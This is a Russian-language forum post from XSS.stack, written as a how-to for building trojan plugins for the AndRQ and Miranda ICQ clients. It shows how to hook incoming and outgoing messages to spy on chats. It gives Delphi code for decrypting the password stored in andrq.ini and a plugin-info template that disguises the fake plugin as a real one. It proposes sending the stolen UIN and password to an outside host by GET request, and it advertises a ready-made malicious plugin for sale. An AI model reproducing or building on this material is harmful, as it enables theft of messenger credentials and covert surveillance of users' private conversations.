• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья : Троян для icq

gemaglabin

(L1) cache
Пользователь
Регистрация
28.08.2005
Сообщения
703
Реакции
0
ANDRQ
AndRq – неоффициальный icq клиент с открытыми исходными текстами,поддерживающий плагины.На сайте www.andrq.ru можно скачать пример такого плагина на дельфи.

Сразу же возникает идея написать свой собственный и использовать его в своих целях.Допустим,можно скачивать троян и запускать его или же делать так чтобы плагин действительно работал,одновременно выполняя свои зловредные функции.

Глянем что нам позволяют плагины.Открываем CallExec.pas и видим функцию

RQ_SendMsg(uin, Flag:integer; msg:string);

Это функция не очень то годна в нашех целях – после ее вызова возникает окно с отправленным сообщением.Значит нам надо реализовать протокол icq независимо от плагина.

Очень полезны события PE_CONNECTED и PE_DISCONNECTED тк лучше чтобы наш фейк работал только после коннекта уина.

Существуют также 2 очень полезных события PE_MSG_GOT и PE_MSG_SENT,которые позволят вести контроль переписки(uin-int_at(data,6),msg-_istring_at(data, 22)).Оптимально не сразу пересылать полученное,а,например,после достижения определенного лимита

Получить пароль тоже довольно легко.Он находится в зишифрованном виде в папке с профилем в файле andrq.ini (RQ_GetCurrentUser/andrq.ini).Находим пароль по строке crypted-password.Функция дешифровки пароля выглядит так

function PassDecrypt(s: string):string;
var
i: integer;
begin
result:='';
i:=length(s);
while i > 0 do
begin
if s < #70 then
begin
result:=result+char((ord(s[i-1])-40) shl 4+ord(s[i-2])-40);
dec(i,2);
end;
dec(i);
end;
end;


Текущий уин получаем командой rq_getcurrentuser.Можно получить пассы всех профилей если найти все папки в директории с крысой и проверять каждую на наличие в ней andrq.ini.

MIRANDA
У миранды очень хороший PDK и позволяет полностью изменить клиент.Все предствавлено в виде отдельных inc файлов и есть примеры для си и дельфи.

Открываем файл m_message.inc и находим такую запись : MS_MSG_SENDMESSAGE Миранда позволяет отправить сообщение невидимо для юзера,а также имеет события на получение и отправку сообщения.

Разработчики сделали очень большую ошибку – функции плагины выполняются до того как миранда успеет понять что плагин не соответствует стандарту.Однако если вы хотите,чтобы юзер запустил плагин и не раз и не два стоит написать красивую оболочку ( форму ) и придать ему функциональность плюс сделать его по всем правилам плагинов для миранды

function MirandaPluginInfo(mirandaVersion: DWORD): PPLUGININFO; cdecl;
begin
Result := @PLUGININFO;
PLUGININFO.cbSize := sizeof(TPLUGININFO);
PLUGININFO.shortName := 'Plugin Template';
PLUGININFO.version := PLUGIN_MAKE_VERSION(0,0,0,1);
PLUGININFO.description := 'The long description of your plugin, to go in the plugin options dialog';
PLUGININFO.author := 'J. Random Hacker';
PLUGININFO.authorEmail := 'noreply@sourceforge.net';
PLUGININFO.copyright := '&copy; 2003 J. Random Hacker';
PLUGININFO.homepage := 'http://miranda-icq.sourceforge.net/';
PLUGININFO.isTransient := 0;
PLUGININFO.replacesDefaultModule := 0;
end;


Как вариант не реализовывать icq протокол для отправки пароля и просто передать данные скрипту GET – запросом ( GET http://cup.su/icq.php?uin=&pass= HTTP/1.1 )



Вот собственно и все что я хотел сказать о Fake плагинах.

*Подобный miranda плагин можно приобрести у человека с ником c4mb3ll
*В архиве находится miranda PDK и asm код фейк плагина


0x00 Miranda_Plugin_Dev_KIT / 0x01 Miranda_Fake_Plugin

http://underwater.cup.su/ - Сайт оригинала статьи

[mod][Winux:] Прикольно сайт крутишь, но в другой раз лучше сделай copy-paste. Это не потому что я не люблю когда чужие сайты так крутят, а потому что твой сайт через месяц может закрыться.[/mod]
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх